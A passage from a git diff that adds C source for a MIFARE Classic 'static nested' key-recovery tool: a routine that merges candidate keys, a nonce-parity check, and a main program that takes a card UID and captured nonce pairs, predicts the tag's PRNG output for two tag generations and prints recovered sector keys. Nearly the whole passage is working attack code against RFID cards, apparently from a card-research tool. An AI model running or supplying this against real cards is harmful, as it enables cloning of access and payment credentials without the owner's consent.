keys = NULL; + if (*keyCount != 0) { + keys = malloc(*keyCount * sizeof(uint64_t)); + if (keys != NULL) { + memcpy(keys, pRPs->keys, pRPs->keyCount * sizeof(uint64_t)); + free(pRPs->keys); + } + } + free(pRPs); + + countKeys* ck = uniqsort(keys, *keyCount); + free(keys); + keys = (uint64_t*)NULL; + *keyCount = 0; + + if (ck != NULL) { + for (i = 0; i < TRY_KEYS; i++) { + // We don't known this key, try to break it + // This key can be found here two or more times + if (ck[i].count > 0) { + *keyCount += 1; + void* tmp = realloc(keys, sizeof(uint64_t) * (*keyCount)); + if (tmp != NULL) { + keys = tmp; + keys[*keyCount - 1] = ck[i].key; + } + else { + printf("Cannot allocate memory for keys on merge."); + free(keys); + break; + } + } + } + } + else { + printf("Cannot allocate memory for ck on uniqsort."); + } + return keys; +} + +// Return 1 if the nonce is invalid else return 0 +uint8_t valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t* parity) { + return ( + (oddparity8((Nt >> 24) & 0xFF) == ((parity[0]) ^ oddparity8((NtEnc >> 24) & 0xFF) ^ BIT(Ks1, 16))) && \ + (oddparity8((Nt >> 16) & 0xFF) == ((parity[1]) ^ oddparity8((NtEnc >> 16) & 0xFF) ^ BIT(Ks1, 8))) && \ + (oddparity8((Nt >> 8) & 0xFF) == ((parity[2]) ^ oddparity8((NtEnc >> 8) & 0xFF) ^ BIT(Ks1, 0))) + ) ? 1 : 0; +} diff --git a/software/src/nested_util.h b/software/src/nested_util.h new file mode 100644 index 0000000..12699ac --- /dev/null +++ b/software/src/nested_util.h @@ -0,0 +1,14 @@ +#ifndef NESTED_H__ +#define NESTED_H__ + +#include "crapto1.h" + +typedef struct { + uint32_t ntp; + uint32_t ks1; +} NtpKs1; + +uint8_t valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t* parity); +uint64_t* nested(NtpKs1* pNK, uint32_t sizePNK, uint32_t authuid, uint32_t* keyCount); + +#endif \ No newline at end of file diff --git a/software/src/staticnested.c b/software/src/staticnested.c new file mode 100644 index 0000000..73ed002 --- /dev/null +++ b/software/src/staticnested.c @@ -0,0 +1,77 @@ +#include +#include +#include +#include + +#include "nested_util.h" + +int main(int argc, char *const argv[]) { + NtpKs1 *pNK = NULL; + uint32_t i, j, m; + uint32_t nt1, nt2, nttest, ks1, dist; + + uint32_t authuid = atoui(argv[1]); // uid + uint8_t type = (uint8_t)atoui(argv[2]); // target key type + + // process all args. + bool check_st_level_at_sirst_run = false; + for (i = 3, j = 0; i < argc; i += 2) { + // nt + par + nt1 = atoui(argv[i]); + nt2 = atoui(argv[i + 1]); + + // Which generation of ST tags is detected. + if (!check_st_level_at_sirst_run) { + if (nt1 == 0x01200145) { + // 发现一代无漏洞,此标签全卡可用默认160的参数进行解密! + dist = 160; // st gen1 + } + else if (nt1 == 0x009080A2) { // st gen2 + // 发现无漏洞二代,我们如果确认目前需要攻击的时B密钥,那么就需要更换攻击参数 + if (type == 0x61) { + dist = 161; + } + else if (type == 0x60) { + dist = 160; + } + else { + // can't to here!!! + goto error; + } + } + else { + // can't to here!!! + goto error; + } + check_st_level_at_sirst_run = true; + } + + nttest = prng_successor(nt1, dist); + ks1 = nt2 ^ nttest; + ++j; + dist += 160; + + void* tmp = realloc(pNK, sizeof(NtpKs1) * j); + if (tmp == NULL) { + goto error; + } + + pNK = tmp; + pNK[j - 1].ntp = nttest; + pNK[j - 1].ks1 = ks1; + } + uint32_t keyCount = 0; + uint64_t *keys = nested(pNK, j, authuid, &keyCount); + + if (keyCount > 0) { + for (i = 0; i < keyCount; i++) { + printf("Key %d... %" PRIx64 " \r\n", i + 1, keys[i]); + fflush(stdout); + } + } + fflush(stdout); + free(keys); + exit(EXIT_SUCCESS); +error: + exit(EXIT_FAILURE); +}